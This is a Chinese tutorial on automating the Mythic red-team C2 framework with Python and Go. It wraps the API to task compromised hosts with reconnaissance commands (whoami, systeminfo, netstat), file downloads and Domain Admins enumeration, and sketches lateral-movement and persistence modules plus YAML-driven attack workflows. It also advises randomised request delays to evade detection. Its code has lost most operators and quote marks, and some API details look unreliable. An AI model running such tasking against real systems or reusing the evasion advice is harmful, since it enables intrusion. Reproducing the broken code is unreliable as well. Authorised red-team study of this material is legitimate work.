Python与Go驱动Mythic红队自动化：从API封装到实战脚本开发

1. 项目概述为什么需要脚本化红队操作在红队评估或渗透测试中重复性、批量化操作是家常便饭。手动在命令行里敲击指令不仅效率低下还容易出错尤其是在需要协调多个目标、执行复杂任务链时。这就是为什么我们需要自动化。而Mythic作为一个现代化的协作式红队框架其核心优势之一就是提供了强大的API和灵活的Payload设计为自动化脚本的介入铺平了道路。我选择Python和Go来驱动这个自动化过程是基于实战的考量。Python拥有极其丰富的第三方库从HTTP请求到数据处理再到与各种安全工具的集成几乎无所不包。它的快速原型开发能力能让你在几分钟内验证一个自动化想法是否可行。而Go语言则以其卓越的并发性能和编译为单一可执行文件的特性见长。当你需要编写一个高性能、高并发的C2命令与控制客户端或者一个需要稳定驻留、跨平台分发的Agent时Go是不二之选。两者结合Python做“大脑”进行逻辑编排和快速交互Go做“四肢”执行高强度的并发任务和生成轻量级木马能覆盖绝大多数自动化场景。这个指南的目标就是带你绕过官方文档中那些零散的API调用示例直接进入实战。我会分享如何构建一个能与Mythic框架深度交互的脚本化工作流从认证、任务创建、结果拉取到错误处理和日志管理形成一个完整的闭环。无论你是想批量上线主机、自动化收集信息还是编排复杂的横向移动步骤这里的思路和代码都能直接复用。2. 环境准备与核心工具链解析在开始编写一行代码之前搭建一个稳固且高效的基础环境至关重要。这不仅关乎脚本能否运行更影响后续开发的便捷性和脚本的健壮性。2.1 Mythic框架的部署与关键概念澄清首先你需要一个正在运行的Mythic服务器。官方推荐使用Docker Compose进行部署这对于开发和测试环境来说是最快捷的方式。部署完成后你需要重点关注几个核心概念这是后续脚本交互的基础操作员Operator与API令牌在Mythic的Web界面中每个用户都是一个操作员。脚本将模拟一个操作员进行操作因此你需要为该操作员生成一个API令牌API Token。这个令牌是脚本与Mythic服务端通信的“身份证”务必妥善保管。在Mythic UI中通常可以在用户设置或开发者选项中找到生成API令牌的地方。回调Callback这是Mythic中最核心的概念之一。当你的Payload在目标机器上执行并成功连接回Mythic时就会创建一个回调。它代表了一个受控的会话Session。你的自动化脚本大部分操作如执行命令、上传文件都是针对特定的回调进行的。任务Task你通过Mythic下发给某个回调的具体指令比如执行一个shell命令、下载一个文件就是一个任务。任务有唯一的ID并且有明确的状态如submitted,completed,error。Payload类型Mythic支持多种Payload如apfell,poseidon等。你的脚本需要知道你当前交互的Callback是由哪种Payload创建的因为不同Payload可能支持不同的命令和参数。注意在本地测试时请确保你的Mythic服务器地址如http://localhost:7443可以从你的脚本运行环境访问。生产环境中则需替换为实际的服务器地址和域名。2.2 Python与Go开发环境深度配置对于Python我强烈建议使用虚拟环境venv来管理项目依赖避免包冲突。主要依赖库包括requests: 用于处理所有HTTP API请求简单易用。websocket-client: 如果你想实时获取任务输出而不是轮询需要用到WebSocket。rich或tabulate: 用于在终端美化输出表格提升脚本的可读性。一个高效的requirements.txt可能长这样requests2.28.0 websocket-client1.4.0 rich13.0.0 python-dotenv0.19.0 # 用于管理环境变量如API_TOKEN对于Go使用Go Modules进行依赖管理是现代Go项目的标准。你需要初始化一个模块并引入关键的库标准库net/http足以应对大部分API请求。github.com/gorilla/websocket: 用于处理WebSocket连接实现实时通信。github.com/jedib0t/go-pretty/v6/table: 一个非常棒的终端表格打印库。通过以下命令初始化并添加依赖go mod init mythic-automation go get github.com/gorilla/websocket go get github.com/jedib0t/go-pretty/v6/table2.3 辅助工具让开发如虎添翼HTTP客户端Postman/Insomnia在编写脚本前先用这些工具手动调用一遍Mythic的API。这能帮你彻底理解请求的格式JSON结构、所需的Headers特别是认证头以及响应体的结构。把成功的请求保存为示例后续写代码时直接参考。IDE与调试器Python的PyCharm/VSCodeGo的Goland/VSCode配合Go插件。配置好调试功能这对于排查复杂的JSON解析错误或网络请求问题至关重要。日志管理为你的脚本设计一个简单的日志系统。可以使用Python的logging模块或Go的log/slog包将关键操作、发送的请求、接收的响应以及错误信息记录到文件。这在自动化任务失败时是回溯问题根源的唯一可靠依据。3. Mythic API交互核心原理与封装与Mythic交互的本质就是通过其提供的RESTful API和WebSocket接口进行HTTP/HTTPS通信。理解并封装好这些基础交互是脚本化的第一步。3.1 认证与会话管理Mythic通常使用Bearer Token进行认证。Token需要放在HTTP请求的Authorization头中。我们需要创建一个通用的客户端类或结构体来管理这些信息。Python示例基础客户端类import requests import json from typing import Optional, Dict, Any class MythicClient: def __init__(self, base_url: str, api_token: str): self.base_url base_url.rstrip(/) self.api_token api_token self.session requests.Session() self.session.headers.update({ Authorization: fBearer {api_token}, Content-Type: application/json }) # 测试连接 try: resp self.session.get(f{self.base_url}/api/version) resp.raise_for_status() print(f[] 成功连接到Mythic服务器版本: {resp.json().get(version)}) except requests.exceptions.RequestException as e: print(f[-] 连接Mythic服务器失败: {e}) raise def _make_request(self, method: str, endpoint: str, data: Optional[Dict] None) - Optional[Dict]: 统一的请求方法处理错误和JSON解析 url f{self.base_url}{endpoint} try: if method.upper() GET: response self.session.get(url, paramsdata) else: response self.session.request(method, url, jsondata) response.raise_for_status() return response.json() except requests.exceptions.HTTPError as e: print(f[-] HTTP请求错误 ({method} {endpoint}): {e}) if response.text: print(f 响应内容: {response.text[:500]}) # 只打印前500字符 except json.JSONDecodeError as e: print(f[-] JSON解析错误 ({method} {endpoint}): {e}) print(f 原始响应: {response.text[:500]}) except Exception as e: print(f[-] 未知请求错误 ({method} {endpoint}): {e}) return NoneGo示例基础客户端结构体package mythic import ( bytes encoding/json fmt io net/http time ) type Client struct { BaseURL string APIToken string HTTPClient *http.Client } func NewClient(baseURL, apiToken string) *Client { return Client{ BaseURL: baseURL, APIToken: apiToken, HTTPClient: http.Client{ Timeout: 30 * time.Second, }, } } func (c *Client) makeRequest(method, endpoint string, data interface{}) ([]byte, error) { var reqBody io.Reader nil if data ! nil { jsonData, err : json.Marshal(data) if err ! nil { return nil, fmt.Errorf(序列化请求数据失败: %w, err) } reqBody bytes.NewBuffer(jsonData) } req, err : http.NewRequest(method, c.BaseURLendpoint, reqBody) if err ! nil { return nil, fmt.Errorf(创建请求失败: %w, err) } req.Header.Set(Authorization, Bearer c.APIToken) req.Header.Set(Content-Type, application/json) resp, err : c.HTTPClient.Do(req) if err ! nil { return nil, fmt.Errorf(执行请求失败: %w, err) } defer resp.Body.Close() body, err : io.ReadAll(resp.Body) if err ! nil { return nil, fmt.Errorf(读取响应体失败: %w, err) } if resp.StatusCode 200 || resp.StatusCode 300 { return nil, fmt.Errorf(API请求失败 (状态码 %d): %s, resp.StatusCode, string(body)) } return body, nil }实操心得务必在客户端初始化时加入连接测试。一个常见的坑是Token过期或权限不足导致后续所有操作失败。提前验证可以避免在复杂的任务流中才发现认证问题。3.2 关键API端点详解与封装封装好基础请求方法后我们就可以针对常用的操作进行二次封装让主逻辑代码更清晰。1. 列出所有活跃回调这是自动化脚本的起点你需要知道当前有哪些机器在线。API端点GET /api/callbacksPython封装def list_callbacks(self) - Optional[List[Dict]]: 获取所有回调列表 result self._make_request(GET, /api/callbacks) return result.get(callbacks) if result else NoneGo封装type Callback struct { ID string json:id Host string json:host User string json:user PID int json:pid IP string json:ip // ... 其他字段 } func (c *Client) ListCallbacks() ([]Callback, error) { body, err : c.makeRequest(GET, /api/callbacks, nil) if err ! nil { return nil, err } var resp struct { Callbacks []Callback json:callbacks } if err : json.Unmarshal(body, resp); err ! nil { return nil, fmt.Errorf(解析回调列表失败: %w, err) } return resp.Callbacks, nil }2. 在指定回调上创建任务这是最核心的操作向目标发送指令。API端点POST /api/tasks请求体关键参数callback_id: 目标回调的ID。command: 要执行的命令名称如shell,ls,download等。params: 命令的参数字符串。original_params: 原始参数字符串通常与params相同。Python封装def create_task(self, callback_id: str, command: str, params: str) - Optional[str]: 在指定回调上创建任务返回任务ID data { callback_id: callback_id, command: command, params: params, original_params: params } result self._make_request(POST, /api/tasks, data) # Mythic通常会在响应体的 task 字段下的 id 中返回任务ID if result and task in result: return result[task].get(id) return None3. 获取任务结果创建任务后你需要轮询或通过WebSocket获取任务执行结果。轮询API端点GET /api/tasks/{task_id}Python封装轮询def get_task_result(self, task_id: str, max_retries: int 30, interval: float 2.0) - Optional[Dict]: 轮询获取任务结果直到完成或超时 for i in range(max_retries): result self._make_request(GET, f/api/tasks/{task_id}) if not result: return None task result.get(task, {}) status task.get(status) if status completed: print(f[] 任务 {task_id} 完成。) return task elif status error: print(f[-] 任务 {task_id} 执行出错。) return task else: # 任务还在处理中 (submitted, processing) if i % 5 0: # 每查询5次打印一次状态避免刷屏 print(f[*] 任务 {task_id} 状态: {status}等待中... ({i1}/{max_retries})) time.sleep(interval) print(f[-] 获取任务 {task_id} 结果超时。) return None注意事项轮询不是最高效的方式对于需要实时输出的长任务如交互式shellWebSocket是更好的选择。Mythic提供了WebSocket端点如/ws/tasks/{task_id}/output来实时推送任务输出。实现WebSocket监听能极大提升自动化体验代码稍复杂但原理是建立连接后监听消息事件。4. 实战脚本开发从信息收集到横向移动有了封装好的客户端我们就可以组合这些“乐高积木”构建实用的自动化脚本。下面通过几个典型场景来演示。4.1 场景一自动化批量信息收集假设我们刚获得一批主机的回调需要快速收集系统信息、网络配置、运行进程等。Python脚本示例def automate_recon(client: MythicClient, callback_ids: list): 对一批回调执行标准信息收集命令 base_commands [ (shell, whoami hostname), (shell, ipconfig /all if sys.platform win32 else ifconfig -a), (shell, systeminfo if sys.platform win32 else uname -a), (ps, ), # 假设Payload有ps命令 (netstat, -ano if sys.platform win32 else -tulpn), ] all_results {} for cb_id in callback_ids: print(f\n[*] 开始在回调 {cb_id} 上执行信息收集...) cb_results [] for cmd_name, params in base_commands: task_id client.create_task(cb_id, cmd_name, params) if not task_id: print(f [-] 创建命令 {cmd_name} 失败跳过。) continue print(f [*] 已创建任务 {task_id} ({cmd_name})) result client.get_task_result(task_id) if result: # 提取任务输出Mythic输出通常在 result 字段的 stdout 或 response 中 output result.get(result, ) cb_results.append({ command: f{cmd_name} {params}, output: output[:500] ... if len(output) 500 else output # 截断长输出 }) time.sleep(1) # 命令间短暂间隔 all_results[cb_id] cb_results # 将结果保存为JSON文件便于后续分析 import json with open(recon_results.json, w) as f: json.dump(all_results, f, indent2, ensure_asciiFalse) print(f\n[] 信息收集完成结果已保存至 recon_results.json)这个脚本清晰地展示了自动化流程遍历回调 - 遍历命令 - 创建任务 - 等待结果 - 存储结果。你可以轻松地扩展base_commands列表来增加更多收集命令。4.2 场景二条件化横向移动与文件操作自动化不仅仅是顺序执行更需要根据条件做出判断。例如只在发现特定服务的机器上尝试横向移动或者根据文件扫描结果决定下一步动作。Go脚本示例简化逻辑func conditionalLateralMovement(client *mythic.Client, callbackID string) error { // 1. 先检查目标是否存在特定文件或进程 checkTaskID, err : client.CreateTask(callbackID, shell, ls C:\\Windows\\System32\\spool\\drivers\\x64\\3) if err ! nil { return fmt.Errorf(创建检查任务失败: %w, err) } checkResult, err : client.PollTaskResult(checkTaskID) if err ! nil { return err } // 假设checkResult.Stdout包含命令输出 output : checkResult.Stdout if strings.Contains(output, msfvenom.exe) { // 示例条件发现可疑文件 fmt.Printf([!] 在回调 %s 发现可疑文件尝试进行隔离分析...\n, callbackID) // 创建文件下载任务 dlTaskID, err : client.CreateTask(callbackID, download, C:\\Windows\\System32\\spool\\drivers\\x64\\3\\msfvenom.exe) if err ! nil { return err } _, err client.PollTaskResult(dlTaskID) if err ! nil { return err } fmt.Println([] 可疑文件下载成功。) // 可以继续执行清除或阻断操作... // client.CreateTask(callbackID, shell, del /f C:\\Windows\\...) } else { fmt.Printf([*] 回调 %s 未发现指定条件跳过横向移动。\n, callbackID) } return nil }这个例子体现了自动化的“智能”先侦察再决策后行动。在Go中由于并发原语强大你甚至可以轻松地使用goroutine同时对多个回调执行这种条件判断和后续操作效率极高。4.3 场景三利用WebSocket实现实时任务监控与交互对于需要长时间运行或交互式的任务如反弹Shell轮询获取输出非常低效。WebSocket可以实现服务端主动推送输出。Python WebSocket监听示例使用websocket-clientimport websocket import json import threading def listen_to_task_output(client: MythicClient, task_id: str): 连接到任务的WebSocket输出流并实时打印 ws_url client.base_url.replace(http, ws) f/ws/tasks/{task_id}/output # 需要将API Token放在连接头中具体方式可能因Mythic配置而异常见的是放在查询参数 # 例如: ws_url f?token{client.api_token} # 请根据Mythic的WebSocket认证文档调整 def on_message(ws, message): data json.loads(message) # 解析消息格式通常包含 task_id, output, type 等字段 if data.get(type) task_output: print(f[任务输出] {data.get(output, )}, end) elif data.get(type) task_status: print(f[任务状态] {data.get(status)}) if data.get(status) in [completed, error]: ws.close() def on_error(ws, error): print(f[-] WebSocket错误: {error}) def on_close(ws, close_status_code, close_msg): print([*] WebSocket连接关闭) def on_open(ws): print([] WebSocket连接已建立开始监听任务输出...) ws websocket.WebSocketApp(ws_url, on_openon_open, on_messageon_message, on_erroron_error, on_closeon_close) # 在新线程中运行WebSocket避免阻塞主程序 wst threading.Thread(targetws.run_forever) wst.daemon True wst.start() return ws # 返回WebSocket对象以便主程序可以控制其关闭将此监听函数与create_task结合你就能实现一个近乎实时的交互式任务控制台。这对于自动化执行需要用户输入如提权工具或长时间运行的脚本至关重要。5. 工程化实践构建健壮可维护的自动化框架当脚本越来越多功能越来越复杂时就需要考虑工程化了。一个好的框架能让你像搭积木一样组合功能而不是在重复的代码中挣扎。5.1 模块化设计将不同的功能拆分成独立的模块或包。mythic_client.py/mythic.go: 核心API客户端封装。tasks/目录: 存放具体任务模块。reconnaissance.py: 信息收集相关函数。lateral_movement.py: 横向移动相关函数。persistence.py: 权限维持相关函数。utils/目录: 存放通用工具。logger.py: 日志配置。output_formatter.py: 结果格式化与导出JSON, CSV, 报告。config_loader.py: 从YAML或JSON文件加载配置目标列表、命令模板等。5.2 配置驱动与任务编排不要将目标IP、命令列表等硬编码在脚本里。使用配置文件如config.yaml来驱动整个自动化流程。# config.yaml mythic_server: https://my-mythic-server.com api_token: your_api_token_here workflows: initial_recon: description: 对上线主机执行初步侦察 steps: - action: execute_command command: shell params: whoami hostname - action: execute_command command: shell params: systeminfo - action: download_file command: download params: C:\\Windows\\System32\\drivers\\etc\\hosts save_as: {{hostname}}_hosts.txt conditional_enum: description: 如果发现域环境则执行域信息枚举 condition: {{step.initial_recon.output contains DOMAIN}} steps: - action: execute_command command: shell params: net group \Domain Admins\ /domain然后编写一个“工作流引擎”脚本读取这个YAML文件解析其中的步骤和条件并调用相应的模块函数来执行。这样你改变攻击流程就只需要编辑配置文件无需修改代码。5.3 错误处理、重试与日志自动化脚本必须足够健壮能够处理网络波动、目标无响应、命令执行失败等各种异常。结构化错误处理对每个API调用和任务执行都进行try-exceptPython或错误检查Go。区分可重试的错误如网络超时和不可恢复的错误如认证失败。指数退避重试对于可重试的错误实现重试逻辑并且每次重试的等待时间逐渐增加如1秒2秒4秒...避免对服务端造成冲击。详尽的日志记录脚本的每一步操作、发送的请求、接收的响应、遇到的错误以及重要的决策点。日志应分级INFO, WARNING, ERROR并输出到文件和控制台。这在夜间批量运行脚本后排查问题时是救命稻草。Python日志配置示例import logging def setup_logger(name, log_fileautomation.log, levellogging.INFO): formatter logging.Formatter(%(asctime)s - %(name)s - %(levelname)s - %(message)s) file_handler logging.FileHandler(log_file) file_handler.setFormatter(formatter) console_handler logging.StreamHandler() console_handler.setFormatter(formatter) logger logging.getLogger(name) logger.setLevel(level) logger.addHandler(file_handler) logger.addHandler(console_handler) return logger # 在脚本中使用 logger setup_logger(mythic_auto) logger.info(开始自动化工作流...) try: task_id client.create_task(callback_id, command, params) if not task_id: logger.error(f在回调 {callback_id} 上创建任务失败。) # 执行错误处理逻辑... except requests.exceptions.Timeout as e: logger.warning(f请求超时准备重试... 错误: {e}) # 执行重试逻辑...6. 高级技巧与避坑指南在实战中摸爬滚打我积累了一些文档里不会写的经验和教训。6.1 性能优化并发与异步处理当你需要管理成百上千个回调时顺序执行脚本会慢得无法忍受。Python的并发对于I/O密集型操作网络请求使用concurrent.futures库的ThreadPoolExecutor是简单有效的选择。但要注意GIL的限制对于CPU密集型任务效果不佳。from concurrent.futures import ThreadPoolExecutor, as_completed def execute_on_all_callbacks(client, command, params): callbacks client.list_callbacks() with ThreadPoolExecutor(max_workers10) as executor: # 控制并发数 future_to_cb { executor.submit(client.create_and_wait_task, cb[id], command, params): cb for cb in callbacks } for future in as_completed(future_to_cb): cb future_to_cb[future] try: result future.result() print(f[] 回调 {cb[id]} 任务完成: {result}) except Exception as e: print(f[-] 回调 {cb[id]} 任务失败: {e})Go的并发这是Go的天然优势。使用goroutine和channel可以轻松实现高并发控制且内存开销小。func executeConcurrently(client *Client, callbacks []Callback, command, params string) { resultChan : make(chan string, len(callbacks)) var wg sync.WaitGroup semaphore : make(chan struct{}, 20) // 控制最大并发数为20 for _, cb : range callbacks { wg.Add(1) go func(callbackID string) { defer wg.Done() semaphore - struct{}{} // 获取信号量 defer func() { -semaphore }() // 释放信号量 taskID, err : client.CreateTask(callbackID, command, params) if err ! nil { resultChan - fmt.Sprintf(回调 %s 失败: %v, callbackID, err) return } _, err client.PollTaskResult(taskID) if err ! nil { resultChan - fmt.Sprintf(回调 %s 任务 %s 失败: %v, callbackID, taskID, err) } else { resultChan - fmt.Sprintf(回调 %s 成功, callbackID) } }(cb.ID) } go func() { wg.Wait() close(resultChan) }() for result : range resultChan { fmt.Println(result) } }6.2 安全与隐蔽性考量红队工具本身就需要考虑对抗检测。API通信加密确保Mythic服务器使用HTTPS你的脚本也与之通过HTTPS通信避免流量被明文嗅探。令牌安全API Token是最高权限的钥匙。绝对不要硬编码在脚本中更不要上传到Git。使用环境变量或外部加密配置文件来管理。# 在shell中设置 export MYTHIC_API_TOKENyour_token_here# 在Python中读取 import os api_token os.environ.get(MYTHIC_API_TOKEN) if not api_token: raise ValueError(请设置环境变量 MYTHIC_API_TOKEN)请求随机化在批量操作时在请求之间加入随机延迟time.sleep(random.uniform(1, 5))模拟人类操作行为避免产生过于规律的可检测流量模式。结果处理自动化收集到的大量敏感数据密码哈希、机密文件需要安全地存储和传输。考虑在脚本端进行初步的加密或混淆。6.3 常见问题与排查清单即使脚本写得再完美运行中也总会遇到问题。下面这个清单可以帮助你快速定位问题现象可能原因排查步骤连接Mythic服务器失败1. 服务器地址/端口错误2. 网络不通3. Mythic服务未运行1. 用curl或浏览器手动访问/api/version端点验证。2. 检查防火墙规则。3. 在服务器上检查Docker容器状态 (docker ps)。API请求返回401/4031. API Token错误或过期2. Token权限不足3. 请求头格式错误1. 在Mythic UI中重新生成Token并更新。2. 确认该操作员有执行相应操作的权限。3. 检查请求头Authorization: Bearer token格式是否正确。创建任务成功但无输出1. Payload不支持该命令2. 命令参数格式错误3. 目标环境执行失败如路径不存在1. 在Mythic UI中手动对该Payload类型测试命令。2. 仔细阅读Payload的文档确认参数格式。3. 查看任务详情Mythic通常会返回更详细的错误信息。获取任务结果超时1. 任务本身执行时间很长2. 网络延迟或丢包3. Mythic服务端处理队列堵塞1. 增加轮询次数和间隔。2. 实现WebSocket监听以获得实时反馈。3. 检查Mythic服务器资源使用情况CPU、内存。并发时大量任务失败1. 并发数过高超过Mythic或目标负载能力2. 脚本资源如文件句柄、网络连接耗尽1. 降低并发数max_workers或goroutine池大小。2. 为脚本添加资源限制和优雅降级机制。WebSocket连接立即断开1. 认证失败Token未正确传递2. WebSocket端点路径或协议错误1. 查阅Mythic官方文档确认WebSocket连接的正确认证方式通常是URL参数或特定Header。2. 使用浏览器开发者工具或wscat等工具先测试WebSocket连接。最后记住自动化是为了提升效率和一致性但它不能完全替代人的判断。在关键的攻击步骤如权限提升、数据窃取之前保留人工确认环节是谨慎的做法。将你的脚本视为一个强大的“力量倍增器”而不是一个全自动的“黑盒”。通过不断的实战、调试和优化你会构建出一套贴合自己团队习惯、高效可靠的红队自动化武器库。